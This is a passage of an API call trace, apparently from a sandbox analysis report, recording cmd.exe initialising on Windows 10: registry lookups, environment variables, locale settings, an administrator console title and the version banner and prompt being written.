lpBuffer=0xef9a0ffdb0*(BaseAddress=0xef9a001000, AllocationBase=0xef9a000000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.280] VirtualQuery (in: lpAddress=0xef9a004000, lpBuffer=0xef9a0ffdb0, dwLength=0x30 | out: lpBuffer=0xef9a0ffdb0*(BaseAddress=0xef9a004000, AllocationBase=0xef9a000000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.280] VirtualQuery (in: lpAddress=0xef9a100000, lpBuffer=0xef9a0ffdb0, dwLength=0x30 | out: lpBuffer=0xef9a0ffdb0*(BaseAddress=0xef9a100000, AllocationBase=0xef9a100000, AllocationProtect=0x4, __alignment1=0xffffaf08, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0157.280] GetConsoleOutputCP () returned 0x1b5 [0157.282] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.282] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6e1308150, Add=1) returned 1 [0157.282] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.282] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e131fc04 | out: lpMode=0x7ff6e131fc04) returned 0 [0157.282] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.283] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff6e131fc00 | out: lpMode=0x7ff6e131fc00) returned 0 [0157.283] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.283] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0157.283] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.283] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e131fc08 | out: lpMode=0x7ff6e131fc08) returned 0 [0157.283] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.283] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff6e131fc0c | out: lpMode=0x7ff6e131fc0c) returned 0 [0157.283] GetEnvironmentStringsW () returned 0x262c1df5a10* [0157.283] GetProcessHeap () returned 0x262c1df0000 [0157.283] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xa7c) returned 0x262c1df64a0 [0157.283] FreeEnvironmentStringsA (penv="A") returned 1 [0157.283] GetProcessHeap () returned 0x262c1df0000 [0157.283] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x8) returned 0x262c1df6f30 [0157.283] GetEnvironmentStringsW () returned 0x262c1df5a10* [0157.283] GetProcessHeap () returned 0x262c1df0000 [0157.283] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xa7c) returned 0x262c1df6f50 [0157.284] FreeEnvironmentStringsA (penv="A") returned 1 [0157.284] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xef9a0fecf8 | out: phkResult=0xef9a0fecf8*=0x7c) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x4, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x1, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x1, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x0, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x40, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x40, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x40, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegCloseKey (hKey=0x7c) returned 0x0 [0157.284] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xef9a0fecf8 | out: phkResult=0xef9a0fecf8*=0x7c) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x40, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x1, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x1, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x0, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x9, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x4, lpData=0xef9a0fed10*=0x9, lpcbData=0xef9a0fecf4*=0x4) returned 0x0 [0157.284] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xef9a0fecf0, lpData=0xef9a0fed10, lpcbData=0xef9a0fecf4*=0x1000 | out: lpType=0xef9a0fecf0*=0x0, lpData=0xef9a0fed10*=0x9, lpcbData=0xef9a0fecf4*=0x1000) returned 0x2 [0157.284] RegCloseKey (hKey=0x7c) returned 0x0 [0157.285] time (in: timer=0x0 | out: timer=0x0) returned 0x5cdd3058 [0157.285] srand (_Seed=0x5cdd3058) [0157.285] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0157.285] malloc (_Size=0x4000) returned 0x262c1c054f0 [0157.285] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0157.285] malloc (_Size=0xffce) returned 0x262c1ef0080 [0157.286] ??_V@YAXPEAX@Z () returned 0x262c1ef0080 [0157.286] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262c1ef0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.286] malloc (_Size=0xffce) returned 0x262c1f00060 [0157.287] ??_V@YAXPEAX@Z () returned 0x262c1f00060 [0157.287] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x262c1f00060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0157.288] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0157.288] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0157.288] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0157.288] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0157.288] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0157.288] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0157.288] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0157.288] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0157.288] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0157.288] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0157.288] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0157.288] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0157.288] GetProcessHeap () returned 0x262c1df0000 [0157.288] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df64a0) returned 1 [0157.288] GetEnvironmentStringsW () returned 0x262c1df5a10* [0157.288] GetProcessHeap () returned 0x262c1df0000 [0157.289] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xa94) returned 0x262c1df7a10 [0157.289] FreeEnvironmentStringsA (penv="A") returned 1 [0157.289] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0157.289] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0157.289] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0157.289] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0157.289] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0157.289] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0157.289] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0157.289] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0157.289] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0157.289] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0157.289] malloc (_Size=0xffce) returned 0x262c1f10040 [0157.289] ??_V@YAXPEAX@Z () returned 0x262c1f10040 [0157.290] GetProcessHeap () returned 0x262c1df0000 [0157.290] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x38) returned 0x262c1df84b0 [0157.290] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262c1f10040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.290] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x262c1f10040, lpFilePart=0xef9a0ff870 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xef9a0ff870*="system32") returned 0x13 [0157.291] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0157.291] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xef9a0ff5a0 | out: lpFindFileData=0xef9a0ff5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x262c1df84f0 [0157.291] FindClose (in: hFindFile=0x262c1df84f0 | out: hFindFile=0x262c1df84f0) returned 1 [0157.296] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xef9a0ff5a0 | out: lpFindFileData=0xef9a0ff5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x262c1df84f0 [0157.297] FindClose (in: hFindFile=0x262c1df84f0 | out: hFindFile=0x262c1df84f0) returned 1 [0157.297] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0157.297] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0157.297] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0157.297] GetProcessHeap () returned 0x262c1df0000 [0157.297] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df7a10) returned 1 [0157.297] GetEnvironmentStringsW () returned 0x262c1df84f0* [0157.297] GetProcessHeap () returned 0x262c1df0000 [0157.297] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xac4) returned 0x262c1df5a10 [0157.297] FreeEnvironmentStringsA (penv="=") returned 1 [0157.297] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262c1ef0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.298] GetProcessHeap () returned 0x262c1df0000 [0157.298] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df84b0) returned 1 [0157.298] ??_V@YAXPEAX@Z () returned 0x1 [0157.298] ??_V@YAXPEAX@Z () returned 0x1 [0157.298] GetProcessHeap () returned 0x262c1df0000 [0157.298] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x4016) returned 0x262c1df7a10 [0157.298] GetProcessHeap () returned 0x262c1df0000 [0157.298] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df7a10) returned 1 [0157.298] GetConsoleOutputCP () returned 0x1b5 [0157.311] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.311] GetUserDefaultLCID () returned 0x409 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6e131bb78, cchData=8 | out: lpLCData=":") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xef9a0ffc30, cchData=128 | out: lpLCData="0") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xef9a0ffc30, cchData=128 | out: lpLCData="0") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xef9a0ffc30, cchData=128 | out: lpLCData="1") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6e131bb68, cchData=8 | out: lpLCData="/") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6e131bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6e131bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6e131ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6e131ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6e131ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6e131b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6e131b980, cchData=32 | out: lpLCData="Sun") returned 4 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6e131bb58, cchData=8 | out: lpLCData=".") returned 2 [0157.312] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6e131bb40, cchData=8 | out: lpLCData=",") returned 2 [0157.312] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0157.314] GetProcessHeap () returned 0x262c1df0000 [0157.314] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x0, Size=0x20c) returned 0x262c1df6550 [0157.314] GetConsoleTitleW (in: lpConsoleTitle=0x262c1df6550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0157.318] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.318] GetFileType (hFile=0x254) returned 0x3 [0157.319] ApiSetQueryApiSetPresence () returned 0x0 [0157.319] ResolveDelayLoadedAPI () returned 0x7ffe7f66d990 [0157.336] BrandingFormatString () returned 0x262c1df6c20 [0157.358] GetVersion () returned 0x3ad7000a [0157.358] _vsnwprintf (in: _Buffer=0xef9a0ffd90, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xef9a0ffd28 | out: _Buffer="10.0.15063") returned 10 [0157.358] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.358] GetFileType (hFile=0x254) returned 0x3 [0157.358] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e1327f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0157.359] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e1327f60, nSize=0x2000, Arguments=0xef9a0ffd30 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0157.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xef9a0ffc88, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ffc88*=0x26, lpOverlapped=0x0) returned 1 [0157.359] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xef9a0ffd58 | out: _Buffer="\r\n") returned 2 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] GetFileType (hFile=0x254) returned 0x3 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xef9a0ffd28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ffd28*=0x2, lpOverlapped=0x0) returned 1 [0157.359] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xef9a0ffd58 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] GetFileType (hFile=0x254) returned 0x3 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0157.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xef9a0ffd28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ffd28*=0x34, lpOverlapped=0x0) returned 1 [0157.359] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xef9a0ffd58 | out: _Buffer="\r\n") returned 2 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] GetFileType (hFile=0x254) returned 0x3 [0157.359] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xef9a0ffd28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ffd28*=0x2, lpOverlapped=0x0) returned 1 [0157.360] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe882b0000 [0157.360] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="CopyFileExW") returned 0x7ffe882ce830 [0157.360] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="IsDebuggerPresent") returned 0x7ffe882ce300 [0157.360] GetProcAddress (hModule=0x7ffe882b0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe87520a40 [0157.360] ??_V@YAXPEAX@Z () returned 0x1 [0157.360] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.360] GetFileType (hFile=0x244) returned 0x3 [0157.360] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0157.360] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xef9a0ffb98 | out: TokenHandle=0xef9a0ffb98*=0x0) returned 0xc000007c [0157.361] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xef9a0ffb98 | out: TokenHandle=0xef9a0ffb98*=0x94) returned 0x0 [0157.361] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xef9a0ffb48, TokenInformationLength=0x4, ReturnLength=0xef9a0ffb50 | out: TokenInformation=0xef9a0ffb48, ReturnLength=0xef9a0ffb50) returned 0x0 [0157.361] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xef9a0ffb50, TokenInformationLength=0x4, ReturnLength=0xef9a0ffb48 | out: TokenInformation=0xef9a0ffb50, ReturnLength=0xef9a0ffb48) returned 0x0 [0157.361] NtClose (Handle=0x94) returned 0x0 [0157.361] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xef9a0ffb60, nSize=0x0, Arguments=0xef9a0ffb68 | out: lpBuffer="渰쇟ɢ") returned 0xf [0157.361] GetProcessHeap () returned 0x262c1df0000 [0157.361] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x218) returned 0x262c1df8bb0 [0157.373] GetConsoleTitleW (in: lpConsoleTitle=0xef9a0ffbb0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0157.375] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0157.375] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0157.379] GetProcessHeap () returned 0x262c1df0000 [0157.379] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df8bb0) returned 1 [0157.379] LocalFree (hMem=0x262c1df6e30) returned 0x0 [0157.381] _vsnwprintf (in: _Buffer=0x7ff6e1327f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xef9a0ff9d8 | out: _Buffer="\r\n") returned 2 [0157.381] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.381] GetFileType (hFile=0x254) returned 0x3 [0157.381] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0157.381] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xef9a0ff9a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ff9a8*=0x2, lpOverlapped=0x0) returned 1 [0157.381] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0157.381] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x262c1ef0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.381] malloc (_Size=0x107ce) returned 0x262c1f00060 [0157.381] _vsnwprintf (in: _Buffer=0x262c1f00060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xef9a0ff9e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0157.382] _vsnwprintf (in: _Buffer=0x262c1f00086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xef9a0ff9e8 | out: _Buffer=">") returned 1 [0157.382] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.382] GetFileType (hFile=0x254) returned 0x3 [0157.382] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0157.382] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e1319970*, 